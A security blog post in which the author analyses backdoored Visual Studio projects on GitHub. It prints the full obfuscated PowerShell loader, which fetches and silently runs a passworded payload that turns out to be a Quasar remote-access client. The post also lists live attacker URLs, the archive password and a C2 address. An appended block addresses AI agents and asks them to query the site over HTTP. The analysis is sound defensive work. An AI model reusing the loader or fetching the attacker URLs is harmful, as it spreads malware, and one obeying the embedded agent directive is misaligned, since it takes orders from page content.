# Malware Analyst for a day

I was browsing Twitter (X) late at night and noticed [a post from @checkymander](https://x.com/checkymander/status/1853636676712644839) talking about a user on GitHub with a bunch of interesting repositories, all Visual Studio projects that are backdoored.

<figure><img src="/files/xVQ7mOcc0DyRvwbUFTFW" alt=""><figcaption><p>The csproj file that contains the backdoor command (&#x3C;Exec command=...)</p></figcaption></figure>

Taking a look at this command being executed by Visual Studio we can see that it is putting a bunch of base64 encoded data into a vbs file, along with instructions to decode it.&#x20;

<figure><img src="/files/uYTJFfywPA4uyfjsvJoe" alt=""><figcaption></figcaption></figure>

The instructions then reverse the data put in and base64 decode it.

<figure><img src="/files/b4KWR05hPHMru7qqELFy" alt=""><figcaption></figcaption></figure>

What we get from that is an interest powershell payload with multiple functions.

{% code overflow="wrap" %}

```powershell
function rl { try { p "wr3DqMK3w5vDp2fCl2XCr8OZw6LCnsKNw53Do8OCwqPCtsOQw6bCjsObwq3CrMORw6LCn8OSw7LCo8OHw5XCug==" } catch { x } } function x { try { p "wr3DqMK3w5vDp2fCl2XCrcOOw6zCpcOEw5zDncODwqLCpsOaw6Fcw5rCl8K0wpzDssKFwpDCs8OlwrrCt8KI" } catch { l } } function l { try { p "wr3DqMK3w5vDp2fCl2XCrcOOw6zCpcOEwqjDmsOEwqPCtcOMw6tcwprCmHLCnsKxY8OFw5zDmMK3w5p1" } catch { o } } function o { try { p "wr3DqMK3w5vDp2fCl2XCr8OSw6fCpcORw7PCosK4w6Nyw57DpsKQw5BjwqfDoMOwwpPDhMOvw6TDg8OowrbDocObwqPDoMKmbMOfw5rCqA==" } catch { Start-Sleep -Seconds 20; rl } }; function p { param ([string]$e) if (-not $e) { return } try { $d = d -mm $e -k $prooc; $r = Invoke-RestMethod -Uri $d; if ($r) { $dl = d -mm $r -k $proc } $g = [System.Guid]::NewGuid().ToString(); $t = [System.IO.Path]::GetTempPath(); $f = Join-Path $t ($g + ".7z"); $ex = Join-Path $t ([System.Guid]::NewGuid().ToString()); $c = New-Object System.Net.WebClient; $b = $c.DownloadData($dl); if ($b.Length -gt 0) { [System.IO.File]::WriteAllBytes($f, $b); e -a $f -o $ex; $exF = Join-Path $ex "SearchFilter.exe"; if (Test-Path $exF) { Start-Process -FilePath $exF -WindowStyle Hidden } if (Test-Path $f) { Remove-Item $f } } } catch { throw } }; $prooc = "UtCkt-h6=my1_zt"; function d { param ([string]$mm, [string]$k) try { $b = [System.Convert]::FromBase64String($mm); $s = [System.Text.Encoding]::UTF8.GetString($b); $d = New-Object char[] $s.Length; for ($i = 0; $i -lt $s.Length; $i++) { $c = $s[$i]; $p = $k[$i % $k.Length]; $d[$i] = [char]($c - $p) }; return -join $d } catch { throw } }; $proc = "qpb9,83M8n@~{ba;W`$,}"; function v { param ([string]$i) $b = [System.Convert]::FromBase64String($i); $s = [System.Text.Encoding]::UTF8.GetString($b); $c = $s -split ' '; $r = ""; foreach ($x in $c) { $r += [char][int]$x }; return $r }; function e { param ([string]$a, [string]$o) $s = "MTA0IDgyIDUxIDk0IDM4IDk4IDUwIDM3IDY1IDU3IDMzIDEwMyA3NSA0MiA1NCA3NiAxMTMgODAgNTUgMTE2IDM2IDc4IDExMiA4Nw=="; $p = v -i $s; $z = "C:\ProgramData\sevenZip\7z.exe"; $arg = "x `"$a`" -o`"$o`" -p$p -y"; Start-Process -FilePath $z -ArgumentList $arg -WindowStyle Hidden -Wait }; $d = "C:\ProgramData\sevenZip"; if (-not (Test-Path "$d\7z.exe")) { New-Item -ItemType Directory -Path $d -Force | Out-Null; $u = "https://www.7-zip.org/a/7zr.exe"; $o = Join-Path -Path $d -ChildPath "7z.exe"; $wc = New-Object System.Net.WebClient; $wc.DownloadFile($u, $o); $wc.Dispose(); Set-ItemProperty -Path $o -Name Attributes -Value ([System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) -ErrorAction SilentlyContinue; Set-ItemProperty -Path $d -Name Attributes -Value ([System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) -ErrorAction SilentlyContinue }; rl
```

{% endcode %}

Yes, it's a bit gross but can simply be cleaned up but adding newlines after each semi-colon and separating the functions. With it a bit more readable you can see it is simple executing the 'rl' function, which sets off a whole chain of events. Instead of manually going through I decided to be lazy and do it dynamically using the following code:

```powershell
function rl { try { p "wr3DqMK3w5vDp2fCl2XCr8OZw6LCnsKNw53Do8OCwqPCtsOQw6bCjsObwq3CrMORw6LCn8OSw7LCo8OHw5XCug==" } catch { x } } function x { try { p "wr3DqMK3w5vDp2fCl2XCrcOOw6zCpcOEw5zDncODwqLCpsOaw6Fcw5rCl8K0wpzDssKFwpDCs8OlwrrCt8KI" } catch { l } } function l { try { p "wr3DqMK3w5vDp2fCl2XCrcOOw6zCpcOEwqjDmsOEwqPCtcOMw6tcwprCmHLCnsKxY8OFw5zDmMK3w5p1" } catch { o } } function o { try { p "wr3DqMK3w5vDp2fCl2XCr8OSw6fCpcORw7PCosK4w6Nyw57DpsKQw5BjwqfDoMOwwpPDhMOvw6TDg8OowrbDocObwqPDoMKmbMOfw5rCqA==" } catch { Start-Sleep -Seconds 20;
 rl } };
 
function p { param ([string]$e) if (-not $e) { return } try { 
$d = d -mm $e -k $prooc;
 #$r = Invoke-RestMethod -Uri $d;
 $r = "w5nDpMOWwqnCn3JifMKfw5fCtMOmw7DDhMKPwp7DhsKRW8OTwrrDgMKven57ZsKFa8KdwoHDs8Ovw5HCqcKqw4vCj8KRw7bDkMK8wo99wpvCm8KmfMKqw5PCrMOjw5zDlcOGwq7ChsKIwpvDtMOfw5zDkcKawpBnf8KZZ8OBwqXDn8Otw4XDicKBw4DCkMKgw6LDo8KewpnCsw==";
 if ($r) { $dl = d -mm $r -k $proc } $g = [System.Guid]::NewGuid().ToString();
 Write-Host $g;
 $t = [System.IO.Path]::GetTempPath();
 $f = Join-Path $t ($g + ".7z");
 $ex = Join-Path $t ([System.Guid]::NewGuid().ToString());
 $c = New-Object System.Net.WebClient;
 #$b = $c.DownloadData($dl);
 $b = "blahblah";
 Write-Host "Data download";
 Write-Host $dl;
 Write-Host $f;
 if ($b.Length -gt 0) { 
 #[System.IO.File]::WriteAllBytes($f, $b);
 Write-Host $ex;
 e -a $f -o $ex;
 $exF = Join-Path $ex "SearchFilter.exe";
 #if (Test-Path $exF) { 
 #Start-Process -FilePath $exF -WindowStyle Hidden } if (Test-Path $f) { Remove-Item $f } }
 Write-Host "Starting process";
 Write-Host $exF; } }
 #}
 catch { throw } };
 $prooc = "UtCkt-h6=my1_zt";


 function d { param ([string]$mm, [string]$k) try { $b = [System.Convert]::FromBase64String($mm);
 $s = [System.Text.Encoding]::UTF8.GetString($b);
 $d = New-Object char[] $s.Length;
 Write-Host "decoded string";
 for ($i = 0;
 $i -lt $s.Length;
 $i++) { $c = $s[$i];
 $p = $k[$i % $k.Length];
 $d[$i] = [char]($c - $p) };
 Write-Host -join $d;
 return -join $d } catch { throw } };
 $proc = "qpb9,83M8n@~{ba;W`$,}";


 function v { param ([string]$i) $b = [System.Convert]::FromBase64String($i);
 $s = [System.Text.Encoding]::UTF8.GetString($b);
 $c = $s -split ' ';
 $r = "";
 foreach ($x in $c) { $r += [char][int]$x };
 return $r };


 function e { param ([string]$a, [string]$o) $s = "MTA0IDgyIDUxIDk0IDM4IDk4IDUwIDM3IDY1IDU3IDMzIDEwMyA3NSA0MiA1NCA3NiAxMTMgODAgNTUgMTE2IDM2IDc4IDExMiA4Nw==";
 $p = v -i $s;
 $z = "C:\ProgramData\sevenZip\7z.exe";
 $arg = "x `"$a`" -o`"$o`" -p$p -y";
 Write-Host "Starting process";
 Write-Host $z;
 Write-Host $arg
 #Start-Process -FilePath $z -ArgumentList $arg -WindowStyle Hidden -Wait 
 };


 $d = "C:\ProgramData\sevenZip";
 if (-not (Test-Path "$d\7z.exe")) { New-Item -ItemType Directory -Path $d -Force | Out-Null;
 $u = "https://www.7-zip.org/a/7zr.exe";
 $o = Join-Path -Path $d -ChildPath "7z.exe";
 echo "Download file";
 echo $u;
 echo $o
 #$wc = New-Object System.Net.WebClient;
 #$wc.DownloadFile($u, $o);
 #$wc.Dispose();
 #Set-ItemProperty -Path $o -Name Attributes -Value ([System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) -ErrorAction SilentlyContinue;
 #Set-ItemProperty -Path $d -Name Attributes -Value ([System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) -ErrorAction SilentlyContinue 
 };
 rl
```

This gave me the following output:

<figure><img src="/files/f69TgzzTkYEgzgehkdcT" alt=""><figcaption><p>Output from the above script showing the decoded data in plaintext</p></figcaption></figure>

From this I was able to get that it reaches out to get 7-zip, if not already installed, and then downloads a 7zip archive from another attacker-controlled GitHub account, specified by the first link it decodes.

After downloading the archive it unzips it with the password 'hR3^\&b2%A9!gK\*6LqP7t$NpW' and executes the exe inside.

Along with this I also grabbed some of the other URLs it was trying for the link to the GitHub:

```
https://rlim.com/seraswodinsx/raw
https://pastebin.com/raw/yT19qeCE
https://paste.fo/raw/2b5182fbdbf2
https://rentry.co/srch-jswbeupntsvgvxp/raw
```

Attacker controlled GitHub and archive with payload:

```
https://github.com/VIPMARC383/AutoHotkey_L-Docs/releases/download/LL/SearchFilter.7z
```

This archive is interesting as it was executing a binary that then executed a Node.JS application.

<figure><img src="/files/NdCPzWFPODHbzbVEi5t5" alt="" width="563"><figcaption><p>Base of unzipped archive</p></figcaption></figure>

<figure><img src="/files/Gp5yKHmwba9S592QKWEX" alt=""><figcaption><p>Recently modified resource directory (asar_unpacked was not present)</p></figcaption></figure>

<figure><img src="/files/NJzs6b4fpMDQoXmiT5be" alt=""><figcaption><p>Contents of the unpacked ASAR archive</p></figcaption></figure>

I checked out the contents of the main.js file from the ASAR archive and you can tell its doing something fishy. Just take a peek:

<figure><img src="/files/NQNqkGLlwhUokhsdde7G" alt=""><figcaption><p>The main.js file contents containing strings mentioning powershell and WMI</p></figcaption></figure>

But look at the size of the file and how obfuscated it is, and this is after putting it through a deobfuscator. I wasn't about to reverse this manually either, so I turned to any.run for analysis.

You can checkout the run [here.](https://app.any.run/tasks/5afb32a5-cad6-4fd5-abe2-431d7f0aac9f)

In the run you can see it executes a bunch and is pretty loud but it does some anti-debugging, mainly looking at what programs are running, and then tries to disable Microsoft Defender features. Following this is adds some scheduled tasks and drops some files.

From this run I noticed it drops an executable, which I also did [a run on.](https://app.any.run/tasks/4bd9cc05-f0e4-46dd-a151-3df87bcc61ab)

From that run I found the C2 IP and port: `178.236.243.173:3473`

I now wanted to look into this executable some more though. Luckily any.run allows you to download dropped files and so after downloading it I loaded it into Ghidra andddd....

<figure><img src="/files/qmWB2mpLr0W4Sc2UKJUU" alt=""><figcaption><p>Ghidra being confused with the binary</p></figcaption></figure>

Ghidra was lost. Luckily I noticed from this that the binary was a .Net assembly and I can use DnSpy to reverse it.

Plugging it into DnSpy you can tell its been obfuscated, at least all the variables, strings, and function names.&#x20;

<figure><img src="/files/kWQNmtx9iZMHZ988Q3gf" alt=""><figcaption><p>The binary plugged into DnSpy</p></figcaption></figure>

It took some digging to find where the magic was happening but I finally found a function doing some decryption of something, presumably the resource attached which seemed encrypted (resources are a common way to attach encrypted payloads to a loader).

<figure><img src="/files/dPE178o0y0rRANbXdMKE" alt=""><figcaption><p>A decryption function in DnSpy</p></figcaption></figure>

After doing putting some pieces together, and compiling my own encryptor binary to generate the same key and IV, I was able to decrypt the resource attached.

<figure><img src="/files/e66g4WNXiLuTZDNt5NaN" alt=""><figcaption><p>The decrypted payload</p></figcaption></figure>

The loader is decrypting this in memory and then executing it as to not drop it on disk for scanning.

Just from running strings on the decrypted binary I can see it is another .Net assembly and that it is a [Quasar client](https://github.com/quasar/Quasar) (a "Free, Open-Source Remote Administration Tool for Windows").

And that is that. Thanks for joining me on this interesting journey in current adversary tactics and malware.

{% file src="/files/JIEmuczPhh7ZS576GYzE" %}
Final Quasar payload (password is "infected")
{% endfile %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.smithsecurity.biz/malware-analyst-for-a-day.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
